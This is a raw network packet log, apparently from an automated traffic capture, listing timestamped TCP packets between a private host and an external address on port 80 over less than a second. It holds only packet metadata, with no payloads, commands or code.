Nov 1, 2024 05:02:12.421907902 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.421948910 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.421962976 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.422069073 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.422089100 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.422107935 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.422112942 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.422143936 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.422154903 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.422369957 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.422388077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.422410011 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.422414064 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.422456026 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.422456026 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.449011087 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449055910 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449073076 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449090958 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.449106932 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.449142933 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.449296951 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449312925 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449364901 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.449364901 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.449472904 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449583054 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449598074 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449628115 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.449795961 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449811935 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449825048 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.449841022 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.449856997 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.449898958 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.450093985 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.450108051 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.450115919 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.450207949 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.450417995 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.450442076 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.450454950 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.450494051 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.450494051 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.493578911 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.493654013 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.493675947 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.493726015 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.493745089 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.494870901 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.494962931 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.494978905 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.495009899 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.495122910 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.495170116 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.498065948 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.535342932 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.535432100 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.535448074 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.535552979 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.535552979 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.535552979 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.538806915 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.538837910 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.538870096 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.538889885 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.538929939 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.538929939 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.538969994 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.539026022 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.539042950 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.539098978 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.539221048 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.539236069 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.539251089 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.539273024 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.539294004 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.539506912 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.539558887 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.539649010 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.539663076 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.539695024 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.539714098 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.539779902 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.539803028 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.539843082 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.539843082 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.540071011 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.540086031 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.540113926 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.540132046 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.540271997 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.540287971 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.540337086 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.540337086 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.540529966 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.540553093 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.540568113 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.540584087 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.540585995 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.540585995 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.540602922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.540604115 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.540632963 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.540632963 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.541109085 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.541169882 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.541189909 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.541259050 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.541279078 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.541292906 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.541307926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.541348934 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.541348934 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.541546106 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.541596889 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.567982912 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568039894 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568057060 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568078995 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.568130016 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568254948 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568264961 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.568264961 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.568270922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568299055 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.568366051 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.568413019 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568480968 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.568562031 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568578959 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568620920 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.568620920 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.568694115 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568742037 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568742990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.568758965 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.568804979 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.568804979 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.569102049 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.569118977 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.569160938 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.569160938 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.569318056 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.569334030 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.569348097 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.569363117 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.569386959 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.569386959 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.569649935 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.569667101 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.569683075 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.569704056 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.569704056 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.569741964 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.612492085 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.612515926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.612668037 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.613913059 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.614008904 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.614025116 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.614042044 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.614080906 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.614123106 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.614130020 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.614180088 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.614260912 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.614274979 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.614305973 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.614332914 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.654449940 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.654506922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.654524088 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.654536963 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.654596090 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.657918930 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.657964945 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.657979012 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.657989025 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658020020 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658020020 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658057928 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.658121109 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658157110 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.658198118 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658260107 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.658277988 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.658313990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658313990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658531904 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.658549070 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.658562899 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.658580065 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.658581972 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658581972 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658618927 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658620119 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.658961058 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.658998013 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.659014940 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.659029961 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.659185886 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.659202099 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.659218073 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.659228086 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.659252882 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.659252882 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.659485102 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.659502029 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.659518003 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.659544945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.659544945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.659586906 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.659868956 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.659885883 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.659903049 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.659935951 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.659935951 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.660234928 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.660250902 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.660267115 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.660285950 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.660312891 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.660491943 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.660507917 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.660557985 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.660557985 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.687688112 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.687742949 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.687757015 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.687789917 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.687834978 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.687932968 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.687947035 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.688005924 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.688005924 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.688190937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.688205957 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.688221931 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.688235044 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.688250065 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.688250065 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.688250065 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.688277960 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.688342094 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.688821077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.688836098 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.688851118 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.688868046 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.688868999 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.688921928 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.688921928 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.691611052 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.691703081 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.691714048 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.691729069 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.691775084 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.691775084 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.733213902 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.733268023 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.733283043 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.733309031 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.733340979 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.733398914 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.733469009 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.733614922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.733632088 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.733666897 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.733706951 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.733782053 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.733794928 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.733836889 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.733836889 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.773525953 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.773585081 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.773597956 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.773622990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.773636103 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.773647070 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.773694038 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.777004004 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.777040958 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.777056932 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.777070045 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.777116060 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.777230978 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.777333975 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.777369022 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.777384996 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.777422905 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.777422905 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.777612925 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.777645111 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.777692080 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.777692080 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.777826071 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.777839899 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.777894974 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.778091908 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.778112888 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.778146982 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.778198957 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.778224945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.778270960 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.778312922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.778325081 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.778336048 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.778347969 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.778359890 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.778373957 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.778443098 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.778772116 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.778784990 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.778831959 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.778831959 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.779005051 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.779017925 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.779052019 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.779081106 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.779258013 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.779269934 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.779280901 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.779293060 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.779319048 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.779319048 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.779361963 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.779632092 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.779652119 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.779668093 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.779691935 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.779721975 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.806200981 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.806252003 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.806267023 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.806267023 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.806395054 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.806473970 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.806535959 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.806580067 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.806629896 CET	59827	80	192.168.2.5	185.215.113.16
